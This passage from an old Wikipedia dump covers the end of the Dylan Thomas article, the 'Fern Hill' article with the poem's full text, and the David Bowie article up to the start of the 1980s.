The primary cause of his death is recorded as [[pneumonia]], with pressure on the [[brain]] and a fatty [[liver]] given as contributing factors.  His penultimate words were: &quot;I've had 18 straight whiskeys, I think this is a record.&quot; His final words were to [[Liz Reitell]], to whom he said &quot;I love you, but I am alone&quot;. Following his death, his body was brought back to Wales for burial in the village churchyard at [[Laugharne, Wales|Laugharne]], where he had enjoyed his happiest days.  In [[1994]], his widow, Caitlin, was buried alongside him.  Their former home, the [[Boat House, Laugharne]], is now a memorial to Thomas.

==Career and Influence==
Dylan Thomas is widely considered one of the greatest [[20th century]] poets writing in English, frequently mentioned alongside [[Robert Frost|Frost]], [[William Butler Yeats|Yeats]], and [[T. S. Eliot]] in lists of the century's most important poets.  He remains the leading figure in [[Anglo-Welsh literature]]. His vivid and often fantastic imagery was a rejection of the trends in 20th Century verse: while his contemporaries gradually altered their writing to serious topical verse (political and social concerns were often expressed), Thomas gave himself over to his passionately felt emotions, and his writing is often both intensely personal and fiercely lyrical.  Thomas, in many ways, was more in alignment with the [[Romanticism|Romantics]] than he was with the poets of his era ([[W. H. Auden|Auden]] and Eliot, to name but two). Thomas' short stories are poetry exploded. Most notably is a semi-autobiographical selection published in 1940 entitled, 'Portrait of an Artist as a Young Dog', in which he explores his youth.

Thomas's circle, sometimes known as the &quot;Kardomah Boys&quot; after the coffee shop where they often met, included the composer and old school friend, [[Daniel Jones (composer)|Daniel Jones]], the poet [[Vernon Watkins]], and the artists [[Alfred Janes]] and [[Mervyn Levy]].

He is particularly remembered for the remarkable radio-play ''[[Under Milk Wood]]'', for his poem &quot;[[Do not go gentle into that good night]],&quot; which is generally interpreted as a plea to his dying father to hold onto life, and for the short stories &quot;[[A Child's Christmas in Wales]].&quot; and &quot;[[The Outing]]&quot;. There are many memorials to Thomas in his home town of [[Swansea]], including a statue in the maritime quarter, the Dylan Thomas Theatre, and the [[Dylan Thomas Centre]].  The latter building, formerly the Guildhall, was opened by ex-[[President of the United States|President]] of the [[United States]] [[Jimmy Carter]], one of Thomas's most famous fans, following its conversion.  It is now a literature centre, where exhibitions and lectures are held, and is the setting for the city's annual Dylan Thomas Festival.

Another monument to Thomas stands in Cwmdonkin Park, close to his birthplace at 5 Cwmdonkin Drive; this was one of his favourite childhood haunts.  The memorial is inscribed with lines from one of his best-loved poems, &quot;[[Fern Hill]].&quot;  Several of the pubs in Swansea also have associations with the poet. One of Swansea's oldest pubs, the ''No Sign Bar'', was a regular haunt, renamed the Wine Vaults in his story ''The Followers''.

It has been suggested that [[Bob Dylan]], who was born Robert Allen Zimmerman, changed his name in tribute to Dylan Thomas. Bob Dylan has often denied this, responding in a 1966 interview, &quot;Get that straight, I didn’t change my name in honor of Dylan Thomas. That’s just a story. I’ve done more for Dylan Thomas than he’s ever done for me.&quot;  In [[1965]] he claimed that he took the name from an uncle named Dillon, adding, &quot;I've read some of Dylan Thomas' stuff, and it's not the same as mine.&quot; In his [[2004]] biography, ''Chronicles Vol.1'', however, Dylan admits that Dylan Thomas was relevant to his choice of alias (although he still acknowledges no influence or tribute, saying only that &quot;Dylan&quot; sounds like &quot;Allen,&quot; his middle name and original choice for a surname de plume). Dylan is also billed as Robert Milkwood Thomas on [[Steve Goodman]]'s &quot;Somebody Elses Troubles&quot; where he plays piano and harmonises on the eponymous track.

==Quotes==
* &quot;Do not go gentle into that good night / rage, rage against the dying of the light&quot;
* &quot;Though lovers be lost love shall not / and death shall have no dominion&quot;
* &quot;An alcoholic is someone you don't like who drinks as much as you do.&quot;
* &quot;Someone's boring me. I think it's me.&quot;
* &quot;For the country of death is the heart's size/ And the star of the lost the shape of the eyes&quot;
* &quot;I had eighteen straight whiskeys. I think this is a record.&quot; (Last words)
* &quot;The five kings count the dead but do not soften/ The crusted wound nor pat the brow; A hand rules pity as a hand rules heaven; Hands have no tears to flow&quot;

==Bibliography==
'''Poetry'''

*''Collected Poems 1934 – 1953'' (London: Phoenix, 2003)
*''Selected Poems'' (London: Phoenix, 2001)

'''Prose'''

*''Collected Letters'' 
*''Collected Stories ''
*''Portrait of the Artist as a Young Dog''
*''Under Milk Wood''

==External links==
*[http://www.undermilkwood.net/ The Life and Work of Dylan Thomas]
*[http://www.poets.org/dthom Dylan Thomas on Poets.org] Biography, poems, audio clips, and related essays from the Academy of American Poets
*[http://www.mumbles.co.uk/ &quot;The Mumbles&quot;, a village frequented by Thomas]
*[http://www.dylanthomas.org/ The city of Swansea's site on Thomas] 
*[http://www.bbc.co.uk/wales/dylanthomas/ BBC Wales' Dylan Thomas site]
*[http://www.dylanthomastheatre.org.uk/home/  The Dylan Thomas Theatre Company Swansea] 
* http://www.findagrave.com/cgi-bin/fg.cgi?page=cr&amp;GRid=13085541&amp;CRid=639868&amp; - the graves of Dylan and Caitlin
*
[[French language|French]] [http://www.incipitblog.com/index.php/2005/08/29/dylan-thomas-au-bois-lacte-1953/ Audio Book (mp3)] from Under Milk Wood, translated in French by JB.Brunius
* [http://news.independent.co.uk/uk/this_britain/article330213.ece &quot;The pub and the hellraiser: The poet, the actor, their pub, a furore&quot;] [[The Independent]] online edition  [[30 November]] [[2005]]
* http://www.bbc.co.uk/wales/dylanthomas/biography/pages/caitlin.shtml - bio of Caitlin
* 
http://www.guardian.co.uk/obituaries/story/0,,403809,00.html - bio of son Llewelyn, 1939-2000

[[Category:1914 births|Thomas, Dylan]]
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    <title>Fern Hill</title>
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      <comment>External links per MoS.</comment>
      <text xml:space="preserve">A pivotal [[poem]] in the career of [[Dylan Thomas]], '''Fern Hill''' starts as a straightforward evocation of his youthful visits to his aunts:
:Now as I was young and easy under the apple boughs
:About the lilting house and happy as the grass was green.
In the middle section the idyllic scene is expanded upon, reinforced by the lilting rhythm of the poem, the dreamlike, pastoral metaphors and allusion to scenes from Eden.  By the end the poet's older voice has taken over, mourning his lost youth with echoes of the opening:
:Oh as I was young and easy in the mercy of his means,
:Time held me green and dying
:Though I sang in my chains like the sea.


== Fern Hill ==


:Now as I was young and easy under the apple boughs
:About the lilting house and happy as the grass was green,
:The night above the dingle starry,
:Time let me hail and climb
:Golden in the heydays of his eyes,
:And honoured among wagons I was prince of the apple towns
:And once below a time I lordly had the trees and leaves
:Trail with daisies and barley
:Down the rivers of the windfall light.


:And as I was green and carefree, famous among the barns
:About the happy yard and singing as the farm was home,
:In the sun that is young once only,
:Time let me play and be
:Golden in the mercy of his means,
:And green and golden I was huntsman and herdsman, the calves
:Sang to my horn, the foxes on the hills barked clear and cold,
:And the sabbath rang slowly
:In the pebbles of the holy streams.


:All the sun long it was running, it was lovely, the hay
:Fields high as the house, the tunes from the chimneys, it was air
:And playing, lovely and watery
:And fire green as grass.
:And nightly under the simple stars
:As I rode to sleep the owls were bearing the farm away,
:All the moon long I heard, blessed among stables, the nightjars
:Flying with the ricks, and the horses
:Flashing into the dark.


:And then to awake, and the farm, like a wanderer white
:With the dew, come back, the cock on his shoulder: it was all
:Shining, it was Adam and maiden,
:The sky gathered again
:And the sun grew round that very day.
:So it must have been after the birth of the simple light
:In the first, spinning place, the spellbound horses walking warm
:Out of the whinnying green stable
:On to the fields of praise.


:And honoured among foxes and pheasants by the gay house
:Under the new made clouds and happy as the heart was long,
:In the sun born over and over,
:I ran my heedless ways,
:My wishes raced through the house high hay
:And nothing I cared, at my sky blue trades, that time allows
:In all his tuneful turning so few and such morning songs
:Before the children green and golden
:Follow him out of grace.


:Nothing I cared, in the lamb white days, that time would take me
:Up to the swallow thronged loft by the shadow of my hand,
:In the moon that is always rising,
:Nor that riding to sleep
:I should hear him fly with the high fields
:And wake to the farm forever fled from the childless land.
:Oh as I was young and easy in the mercy of his means,
:Time held me green and dying
:Though I sang in my chains like the sea.

==External links==
*[http://www.undermilkwood.net/poetry_fernhill.html The Life and Work of Dylan Thomas]
*[http://www.bbc.co.uk/wales/dylanthomas/bibliography/pages/fern_hill.shtml BBC page]


[[Category:British poems]]
[[Category:Welsh literature]]
{{Wales-stub}}</text>
    </revision>
  </page>
  <page>
    <title>David Bowie</title>
    <id>8786</id>
    <revision>
      <id>42153674</id>
      <timestamp>2006-03-04T04:19:12Z</timestamp>
      <contributor>
        <username>Mikeguy</username>
        <id>160970</id>
      </contributor>
      <text xml:space="preserve">&lt;!-- Unsourced image removed: [[Image:dbowie.jpg|frame|right|David Bowie]]   --&gt;
'''David Bowie''' (born '''David Robert Hayward-Jones''' on [[8 January]], [[1947]]) is an [[England|English]] [[Rock (music)|rock]] [[singer]], [[musician]] and [[actor]], as well as father of 'Fashion vs Style' advert director [[Zowie Bowie|Duncan Jones]].

{{Infobox_band |
  band_name         = David Bowie |
  image             = [[Image:David Bowie Portrait.jpg|175px|David Bowie]]|
  country           = [[London]], [[England]] |
  status            =  |
  years_active      = 1967 – present (1973-1993) |
  music_genre       = [[Rock and roll|Rock]] |
  record_label      =  |
}}

==Overview==
He is commonly known as the [[chameleon]] of pop, predicting trends and adjusting his style and persona, while holding on to his own ideas and creativity. A [[multi-instrumentalist]], he is famous for playing [[guitar]], [[Keyboard instrument|keyboard]] and [[saxophone]]; but also plays [[harmonica]], [[drums]], [[cello]], [[marimba]], [[bass guitar]], [[koto (musical instrument)|koto]] and [[stylophone]]. He first rose to prominence with the heady, 1969 [[folk rock]] [[single (music)|single]] &quot;[[Space Oddity]]&quot; but is perhaps best known for the single &quot;[[Changes (David Bowie song)|Changes]]&quot; from ''[[Hunky Dory]]'' (1971), and the flamboyant, [[androgynous]] [[glam rock]] of ''[[The Rise and Fall of Ziggy Stardust and the Spiders from Mars]]'' (1972), and ''[[Aladdin Sane]]'' (1973).

Subsequent albums have explored [[blue-eyed soul]], [[electronica]] and [[New Wave music|new wave]], often predating these genres' popularity or even the point at which they were defined as genres. The so-called &quot;Berlin Trilogy&quot;, although receiving mixed commercial success at the time, is seen by many today as masterful and groundbreaking. After slumping sales in the mid- to late-1970s, Bowie again gained commercial success in the early 1980s with his hit single &quot;[[Ashes to Ashes (song)|Ashes to Ashes]]&quot; and the album it came from, ''[[Scary Monsters (and Super Creeps)]]'' (1980). He reached his commercial peak with his singles &quot;Modern Love,&quot; &quot;China Girl&quot; and &quot;Let's Dance&quot;, the latter the title track of his very successful 1983 album. Many fans and neutral observers will argue that Bowie's consistency as a songwriter decreased afterwards.

Bowie has had a profound influence on rock music from the 1970s to the present. In the cable music network [[VH1]]'s 2000 list of the 100 greatest artists of rock and roll, Bowie ranked seventh. In the [[British Broadcasting Corporation]]'s list of 100 greatest [[British Isles|Briton]]s, Bowie ranked 29. He has sold an estimated 136 million albums in his career and has been inducted into the [[Rock and Roll Hall of Fame]].

In addition to his musical career, Bowie has had success as an actor, starring in ''[[The Man Who Fell to Earth]]'' (1976), ''[[The Hunger]]'' (1983),  ''[[Merry Christmas, Mr. Lawrence]]'' (1983), ''[[Labyrinth (film)|Labyrinth]]'' (1986), ''[[The Last Temptation of Christ]]'' (1988) and ''[[Basquiat]]'' (1996).

==History==
===1947 to 1967: Early years===

[[Image:dbowie2.jpg|frame|left|David Bowie, ''Space Oddity'']]

David Robert Jones was born in [[Brixton]], [[London]] on [[8 January]], [[1947]], at this time his family home was at 40 Stansfield Road, although it is not known whether he was born at home or in hospital.  It has been suggested that he may have been born as far away as Doncaster Royal Infirmary  (see discussion page).  He lived in [[Brixton]] until he was six years old, when his family moved to [[Bromley]] in [[Kent]] (now part of [[Greater London]]). He lived with his parents until he was eighteen.

Popular legend has it that in the spring of 1962, Bowie and his schoolmate, George Underwood, got into a fight over a girl which resulted in Bowie's peculiar eye condition. Underwood struck Bowie, who then hit his head sharply on the ground.  At first, it appeared that Bowie would suffer only the usual bruises of a school yard fight but soon internal swelling developed, posing the threat of permanent blindness. Bowie was forced out of school for eight months so that doctors could conduct operations in attempt to repair his potentially blinded eye. Doctors could not fully repair the damage, leaving his pupil permanently [[mydriasis|dilated]]. 

As a result of the injury, Bowie has faulty [[depth perception]] and his left eye, although naturally blue, now usually appears to be brown or green, a condition known as [[heterochromia]]. Bowie has stated that although he can see with his injured eye, his color vision was mostly lost and a brownish or sepia tone is constantly present.  In any case, the difference between his eyes added an exotic element to his looks that would become a signature of his image. 

Rumors that Underwood stabbed Bowie's eye with a compass or other implement are false but enduring.  The two continue to be friends.  Coincidentally, Underwood went on to do artwork for Bowie's earlier (see[[http://www.georgeunderwood.com/pages/Album_covers/93 album covers]]). 

Bowie stated that his earliest musical goal was to be a [[saxophone]] player in [[Little Richard]]'s group. Initially a saxophonist, he was discovered, quite by accident, as a singer when he subbed in for a missing vocalist at a club in London. He played with various blues groups, such as &quot;The King Bees,&quot; &quot;The Manish Boys&quot; and &quot;The Lower Third&quot; in the 1960s. Bowie's greatest strength throughout his career has been his ability to adapt his public image to fit, and often anticipate, the prevailing musical trends. His early work shifts through the [[blues]] and [[Elvis]]-esque music while working with many British [[Pop music|pop]] styles.

Heavily influenced by the dramatic arts — from [[avant-garde]] [[theatre]] and [[mime]] to [[Commedia del Arte|Commedia dell'arte]]&amp;mdash;much of his work has involved the creation of characters or personae to present to the world. The aspiring rock star needed to use a different stage name to avoid confusion with [[Davy Jones]] of [[The Monkees]], so he chose the last name Bowie after the [[Battle of the Alamo|Alamo]] hero [[Jim Bowie]] and his famous [[Bowie knife|Bowie Knife]]. David pronounces &quot;Bowie&quot; to rhyme with &quot;Joey&quot;.

Bowie released his first solo album in 1967 for Deram records, simply called ''[[David Bowie (album)|David Bowie]]'', an amalgam of [[Psychedelic Rock]] and [[Easy Listening]]. Also released was a single, &quot;[[The Laughing Gnome]]&quot;, with the cult-classic B-side &quot;The Gospel According to Tony Day&quot;. None of these managed to chart; the 1967 album is hard to find today, although it exists in counterfeit copies. However, the materials of the album, the single, and several other works were later recycled in a multitude of compilation albums.

===1969 to 1973: Glam rock===
His first flirtation with fame came in 1969 when his single &quot;[[Space Oddity]]&quot; was released to coincide with the first [[moon landing]]. This [[ballad]] was the story of what was often called Bowie's first dual-subject and role, Major Tom, an [[astronaut]] who becomes lost in space. It became a [[United Kingdom|UK]] hit record. Its corresponding album was originally titled ''David Bowie'' and has caused some confusion, as both of Bowie's first and second albums were released with that name in the UK. In the US the second album bore the title ''Man of Words, Man of Music''. While the album is not as hard to find as the original ''David Bowie'', the highlights of the album are hardly well known. In 1972, the second album was re-released as ''[[Space Oddity (album)|Space Oddity]]''. 

On [[19 March]], [[1970]], David married Mary Angela Barnett (now known as [[Angela Bowie]]) in Kent, England. Later that year, Bowie released ''[[The Man Who Sold the World]]'', rejecting the [[acoustic guitar]] sound of the previous album and replacing it with the heavy [[Rock and roll|rock]] backing provided by [[Mick Ronson]], who would be a major collaborator through 1973. 

Much of the album resembles British [[hard rock]] of the period, but the album provided some interesting musical detours, such as the title track's use of [[Latin (music)|Latin]] sounds to hold the melody. The track provided an unlikely hit for UK [[pop music|pop]] singer [[Lulu (singer)|Lulu]] and would be covered by many bands over the years, including [[Nirvana (band)|Nirvana]]. The cover of the first release of this album, on which Bowie is seen reclining in a dress, was an early indication of his interest in exploiting his [[androgynous]] appearance.

His next record, ''[[Hunky Dory]]'' (1971) saw the partial return of the fey pop singer of &quot;Space Oddity,&quot; with light fare such as the droll &quot;Kooks&quot; (dedicated to his young son known to the world as [[Zowie Bowie]] but legally named Duncan Zowie Heywood Jones). Other places, the album included some of his most harrowing lyrics on tracks such as &quot;Oh! You Pretty Things&quot; (this song was also taken to UK #12 by [[Herman's Hermits]]' [[Peter Noone]] in 1971), the semi-autobiographical &quot;The Bewlay Brothers&quot; and the [[Buddhism|Buddhist]]-influenced &quot;Quicksand&quot;.  Lyrically, the young songwriter also paid unusually direct homage to his influences with &quot;Song for [[Bob Dylan]]&quot;, &quot;[[Andy Warhol]],&quot; and &quot;Queen Bitch,&quot; which Bowie's somewhat cryptic liner notes indicate as a [[Velvet Underground]] pastiche. 

As with the single &quot;[[Changes (David Bowie song)|Changes]]&quot;, ''Hunky Dory'' was not a big hit but it laid the groundwork for the move that would shortly lift Bowie into the first rank of stars, giving him four top 10 albums and eight top ten singles in the UK in 18 months between 1972 and 1973. 

Among Bowie's activities the next year were promoting and producing his rock and roll heroes. Former Velvet Underground singer [[Lou Reed]]'s solo breakthrough ''[[Transformer (album)|Transformer]]'' was produced by Bowie and Mick Ronson. And [[Iggy Pop]] and his band [[The Stooges]] also signed with Bowie's management, MainMan Productions, and recorded their ultimate album, ''[[Raw Power]]'', in London. Though he was not present for the tracking of the album, Bowie later performed its much debated [[Audio mixing|mix]]. 

Arguably, these credits did more to legitimize David Bowie as a rock music artist than any of his recordings to date. At the start of this intense period came Bowie's most highly regarded work, ''[[The Rise and Fall of Ziggy Stardust and the Spiders from Mars]]''.  

[[Image:Ziggystardust.jpg|left|thumb|250px|David Bowie in Ziggy Stardust attire]] 

Bowie's [[androgynous]] image was taken a step further in June 1972 with the seminal ''[[Ziggy Stardust]]'', a [[concept album]] around the career of an [[extraterrestrial]] rock singer. The album's sound returns to the [[hard rock]] lineup of ''Man Who Sold the World'', but the feel is lighter and faster, typifying [[glam rock]] as pioneered by [[Marc Bolan]]. Many of the album's songs became rock classics, including &quot;Ziggy Stardust,&quot; &quot;Moonage Daydream,&quot; &quot;Hang On To Yourself,&quot; and &quot;Suffragette City&quot;. 

Bowie's [[Ziggy Stardust]] character became the basis for his first tour beginning in 1972, where Bowie donned his famous red, flaming hair and wild outfits. The tour featured a three-piece band representing the &quot;Spiders from Mars&quot;: Ronson on guitar, [[Trevor Bolder]] on bass, and [[Mick Woodmansey]] on drums. The album flew to #5 in the UK on the strength of the #10 placing of the single &quot;[[Starman (song)|Starman]]&quot;, as well as an interview where Bowie, as the first rock singer ever, freely admitted to being gay (though 'bisexual' was probably more accurate). The success of the album made Bowie a star, and soon the one-year-old ''Hunky Dory'' album went forth and eclipsed ''Ziggy Stardust'', when it peaked at #3 on the UK chart. At the same time the non-album single ''[[John, I’m Only Dancing]]'' peaked at UK #12, and &quot;[[All the Young Dudes (song)|All the Young Dudes]]&quot;, a song he had given to, and produced for, [[Mott The Hoople]], made UK #3.

The same musicians came together on 1973's ''[[Aladdin Sane]]'', another conceptual work about the [[disintegration]] of society, and Bowie's first #1 album in the UK. The album is sometimes called Bowie's &quot;On the Road&quot; album, because he wrote all the new songs on ship, bus or trains during the Ziggy Stardust tour. The album's cover, featuring Bowie shirtless with Ziggy hair and a red, black, and blue [[lightning]] bolt across his face, is one of the most famous covers of all time. ''Aladdin Sane'' included the UK #2 hit &quot;[[Jean Genie]]&quot;, the UK #3 hit &quot;[[Drive-In Saturday]]&quot;, and a cover of [[The Rolling Stones]]' &quot;Let's Spend the Night Together&quot;. [[Mike Garson]] joined Bowie to play piano on this album, and his performance has been called the album's highlight. As of 2005, Garson often plays in Bowie's band. 

Bowie's later Ziggy shows, which included songs from both the ''Ziggy Stardust'' and ''Aladdin Sane'' records as well as a few earlier tracks like &quot;Changes&quot; and &quot;Width of a Circle&quot;, were ultra-theatrical affairs, filled with some rather shocking stage moments, such as Bowie stripping down to a [[sumo|sumo wrestling]] loincloth or simulating [[fellatio]] with Ronson's guitar. Bowie took the character to extremes, touring and giving [[press conference]]s as Ziggy before a dramatic and abrupt onstage &quot;retirement&quot; at London's Hammersmith Odeon in 1973. His famous announcement -- &quot;Not only is this the last show of the tour, but it's the last show that we'll ever do&quot; -- was preserved as part of a live recording of the show, released as a double album under the title ''[[Ziggy Stardust - The Motion Picture]]''.

''[[Pin Ups]]'', a collection of cover versions of 1960s hits, was released in 1973, spawning a UK #3 hit in &quot;[[Sorrow (song)|Sorrow]]&quot; and itself peaking at #1, making David Bowie the best-selling act of 1973 in the UK. By that time, the &quot;Spiders from Mars&quot; were long split, and Bowie was trying to escape from his Ziggy persona. Bowie's own back catalogue was now highly sought. ''The Man Who Sold the World'' had been rereleased in 1972 along with the second ''David Bowie'' album (''Space Oddity''), whilst Hunky Dory's &quot;[[Life on Mars?]]&quot; was released as a single in 1973 and made #3 in the UK, the same year Bowie's nonsense record from 1967, &quot;The Laughing Gnome,&quot; hit #6, embarassingly for Bowie.

The [[androgynous]] public and stage persona Bowie affected during this period sold records, but its popularity in [[gay culture]] and the emerging [[gay rights]] movement created controversy both in the US and in Britain, where [[homosexuality]] had only been legal since 1967. Bowie further stirred up controversy by publicly proclaiming himself [[bisexuality|bisexual]], a claim he has since retracted and distanced himself from.

===1974 to 1976: Soul, R&amp;B, and The Thin White Duke===
1974 saw the release of another ambitious album, ''[[Diamond Dogs]]'', with a [[spoken word]] introduction and segued songs (&quot;Sweet Thing/Candidate&quot;). ''Diamond Dogs'' was the product of two distinct ideas — a musical based on a wild future in a post-[[apocalypse|apocalyptic]] city, and setting [[George Orwell]]'s ''1984'' to music (&quot;1984&quot;, &quot;Big Brother&quot;, &quot;We Are The Dead&quot;). 

Bowie had planned on actually writing a musical to ''1984'', but his interest waned after encountering difficulties in licensing the novel, and he used the songs he had written for ''Diamond Dogs''. The album — and an NBC television special, the ''1980 Floor Show'', broadcast at around the same time — demonstrated Bowie headed toward the genre of [[soul (music)|soul]]/[[disco]] music, the track &quot;1984&quot; being a prime example. The album spawned the hits &quot;[[Rebel Rebel]]&quot; (UK #5) and &quot;[[Diamond Dogs (song)|Diamond Dogs]]&quot; (UK #21), and itself went to #1 in the UK, making him the best-selling act of that country for the second year in a row. In the US, Bowie achieved his first major success when the album went to #5.

To follow on the release of the album, Bowie launched a massive ''Diamond Dogs'' tour of North America, lasting from June to December 1974. Choreographed by [[Toni Basil]], and lavishly produced with theatrical [[special effects]], this high-budget stage production broke with contemporary standard practice for rock concerts by featuring no encores. It was filmed by [[Alan Yentob]] for the documentary ''[[Cracked Actor]]''. 

Bowie commented that the resulting live album ''[[David_Live(album)|David Live]]'' ought really to be called &quot;David Bowie Is Alive And Well And Living Only In Theory,&quot; presumably referring to his addled psychological state during this frenetic period. Nevertheless the album solidified his status as a superstar, going #2 in the UK and #8 in the US. It also spawned a UK #10 hit in a cover of &quot;Knock On Wood&quot;.

After the opening leg of the tour, Bowie mostly jettisoned the elaborate sets. Then, when the tour resumed after a summer break in [[Philadelphia]] for recording new material, the ''Diamond Dogs'' sound no longer seemed apt. Bowie cancelled seven dates and made changes to the band, which returned to the road in October as the ''Philly Dogs'' tour.

To [[Ziggy Stardust]] fans who had not discerned the soul and funk strains already there in Bowie's recent work, the &quot;new&quot; sound was a sudden and very jolting step. 1975's ''[[Young Americans (album)|Young Americans]]'' is his definitive exploration of [[Philly soul]]. It contained his first #1 hit in the US, &quot;[[Fame (David Bowie song)|Fame]],&quot; co-written with [[John Lennon]] (who also contributed backing vocals) and one of Bowie's new band members, guitarist [[Carlos Alomar]]. It was based on a version of [[James Brown (musician)|James Brown]]'s &quot;Footstompin',&quot; which Bowie's band had taken to playing live during the ''Philly Dogs'' period. One of the backing vocalists on the album is a young [[Luther Vandross]].

''Young Americans'' was the album which really made Bowie a star in the US; though only peaking there at #9, as opposed to the #5 placing of ''Diamond Dogs'', the album stayed in the charts for almost twice as long. At the same time the album went #1 in the UK, and a re-issue of his old single &quot;Space Oddity&quot; became his first #1 hit in the UK, only a few months after &quot;Fame&quot; had become the same in the US.

1976's ''[[Station to Station]]'' featured a starker version of this soul persona, called [[The Thin White Duke]]. The figure seemed to be an extension of the character '''Thomas Jerome Newton''' in ''[[The Man Who Fell To Earth]]'', whom Bowie played in the film. ''Station to Station'' presented a new direction in Bowie's music, with innovative use of [[synthesizer]] and electronic sounds and a lean towards [[Germany|German]] pop music. By this time Bowie was heavily dependent on drugs, especially [[cocaine]], and many critics have attributed the chopped rhythms and emotional detachment of the record to the influence of the drug, which Bowie claimed to have been introduced to in America. 

Nonetheless, there was another large tour in 1976, the '''Station to Station World Tour''', which featured a starkly lit set and highlighted new songs such as the dramatic, lengthy title track, the romantic ballad &quot;Word on a Wing,&quot; and the funky &quot;TVC-15&quot; and &quot;Stay.&quot; The core band that coalesced around this album and tour — rhythm guitarist Alomar, bassist [[George Murray]], and drummer [[Dennis Davis]] — would remain a stable unit through 1980.

With the album at #3 in the US, his greatest success there ever, and the single &quot;Golden Years&quot; becoming a transatlantic top 10 hit, Bowie was at a commercial peak, yet his sanity - by his own admission later - was twisted by cocaine and he overdosed several times during the year.

At around this time, Bowie became embroiled in a controversy caused by his comments to ''[[Playboy]]'' magazine apparently praising [[Hitler]], and his statement that &quot;Britain is ready for a [[fascism|fascist]] leader.&quot; He later pointed out that being &quot;ready&quot; for one and &quot;needing&quot; one are two different things. This was accompanied by some theatrics involving an open-top vintage [[Mercedes-Benz|Mercedes]] and what some claimed was a [[Nazi]] salute staged outside [[Victoria Station (London)|Victoria Station]]. 

Bowie would later angrily deny being so &quot;foolish&quot; as to raise a Nazi salute, claiming that the photographer had caught him in mid-wave.  This incident, along with similarly controversial [[racism|racist]] remarks by [[Eric Clapton]] around the same time, were catalysts for the formation of the [[Rock Against Racism]] movement. Later, Bowie retracted his comments, excusing himself by claiming his judgment had been affected by substance abuse.

===1976 to 1980: Brian Eno and the Berlin era===
Bowie's interest in the growing German music scene and his drug addiction prompted him to move to [[Berlin]] to dry out and rejuvenate his career anew. Sharing an apartment in [[Schöneberg]] with his friend [[Iggy Pop]], he produced three more of his own classic albums, as well as aiding Pop in his career. With Bowie as a co-writer and musician, Pop completed his first two solo albums, ''[[The Idiot (album)|The Idiot]]'' and ''[[Lust for Life (album)|Lust for Life]]''. 

More unusually, the star Bowie joined Pop's touring band in the spring, simply playing keyboard and singing backing vocals. The group performed in the UK, Europe, and the US from March to April. 

[[Image:dbowie4.jpg|thumb|200px|left|David Bowie, ''Best of 1974/1979'']]

As for Bowie's music, the brittle sound of ''Station to Station'' was a precursor to that found on ''[[Low (album)|Low]]'', the first of three recorded in collaboration with [[Brian Eno]]. Heavily influenced by the [[Krautrock]] sound of [[Kraftwerk]] and others, the new songs were relatively simple, repetitive and stripped, a clear and typically perverse reaction to [[punk rock]], with the second side almost wholly instrumental. (By way of tribute, proto-punk [[Nick Lowe]] recorded an EP entitled &quot;Bowi&quot;.) The album provided him with a surprise #3 hit in the UK when the BBC picked up the first single, &quot;[[Sound and Vision]]&quot;, as its 'coming attractions' theme music. ''Low'' was renowned for having been far ahead of its time and fascinates to this day, many calling it Bowie's best album. It was produced in 1976 and released in early 1977.

The next record, ''[[&quot;Heroes&quot;]]'', was similar in sound to ''Low'', though slightly more accessible. The mood of these records fit the [[zeitgeist]] of the [[Cold War]], symbolised by the divided city that provided its inspiration. The title track remains one of Bowie's best known, a classic story about two lovers who met at the [[Berlin Wall]]. 

Also in 1977, Bowie appeared on the ITV music show '''Marc''', hosted by his close friend and fellow glam pioneer [[Marc Bolan]], with whom he had regularly socialised and jammed since before either became famous. He turned out to be the show's final guest, as Bolan was killed in a car crash shortly afterwards. Bowie was one of many superstars who attended the funeral.

For [[Christmas]], [[1977]], Bowie joined [[Bing Crosby]], of whom he was an ardent admirer, in a recording studio to do a version of ''[[Little Drummer Boy]]'', with new lyrics added. The two had originally met on Crosby's Christmas television special two years earlier (on the recommendation of his children - Crosby had not heard of Bowie) and performed the song. One month after the record was completed, Crosby died. The song was a worldwide festive hit. Bowie later remarked jokingly that he was afraid of being a guest artist, because &quot;everyone I met dropped dead a month later&quot;, referring to Bolan and Crosby.

There was a brief world tour in 1978 which featured the music of both ''Low'' and ''&quot;Heroes&quot;''. A live album of this tour was released, known as ''[[Stage (album)|Stage]]''. Songs from both ''&quot;Heroes&quot;'' and ''Low'' were later converted to symphonies by minimalist composer [[Phillip Glass]]. 1978 was also the year that featured Bowie releasing a narration recording of [[Sergei Prokofiev]]'s ''[[Peter and the Wolf]]'', which to this day is regarded as one of the best recordings of the work.  

''[[Lodger (album)|Lodger]]'' (1979) was the final of Bowie's so-called &quot;[[Berlin Trilogy]]&quot; (this moniker has been debated as only ''&quot;Heroes&quot;'' was entirely recorded in Berlin, the collaboration with Brian Eno being the undisputed link amongst the three albums). ''Lodger'' featured the singles &quot;[[Boys Keep Swinging]]&quot;, &quot;[[DJ (song)|DJ]]&quot; and &quot;[[Look Back in Anger (song)|Look Back in Anger]]&quot;, and it did not contain any instrumentals. However, the album is renowned for being quite a contorted mix of [[New Wave music|New Wave]] and [[world music]], and pieces such as &quot;African Night Flight&quot; and &quot;Yassassin&quot; were surprising detours even by Bowie's standards. This was Bowie's last album with Eno until 1995's [[1.OUTSIDE| 1. Outside]].

In 1980, Bowie did an about-face, integrating the lessons learnt on ''Low'', ''&quot;Heroes&quot;'' and ''Lodger'' whilst expanding upon them with breakthrough success. ''[[Scary Monsters (and Super Creeps)]]'' included the #1 hit &quot;[[Ashes to Ashes (song)|Ashes to Ashes]]&quot;, featuring the textural work of guitar-synthesist [[Chuck Hammer]], and revisiting the character of Major Tom from &quot;Space Oddity&quot;. The imagery Bowie used in the song's [[music video]] gave international exposure to the underground [[New Romantic]] movement and, with many of the followers of this phase being devotees, Bowie visited the London club &quot;Blitz&quot; - the main New Romantic hangout - to recruit several of the regulars (including Steve Strange of the band [[Visage]]) to act in the video, renowned as being one of the most innovative of all time. ''Scary Monsters'' clung to the principles that Bowie had learned in the Berlin era, however it was very fresh considering the brutal transformation Bowie had gone through during the experience. Bowie had [[divorce]]d his wife Angie, gone through [[withdrawal]] from the drugs of the &quot;Thin White Duke&quot; era, and his conception of how music should be written had totally changed. The album had a very hard rock sound with many innovations, and it laid much of the foundation for rock music in the 1980s.

===The 1980s: Bowie the superstar===
[[Image:David Bowie at Madame Tussaud.jpg|left|175px|frame|David Bowie's wax figure at [[Madame Tussauds]] dressed as in the &quot;Serious Moonlight Tour&quot;]]

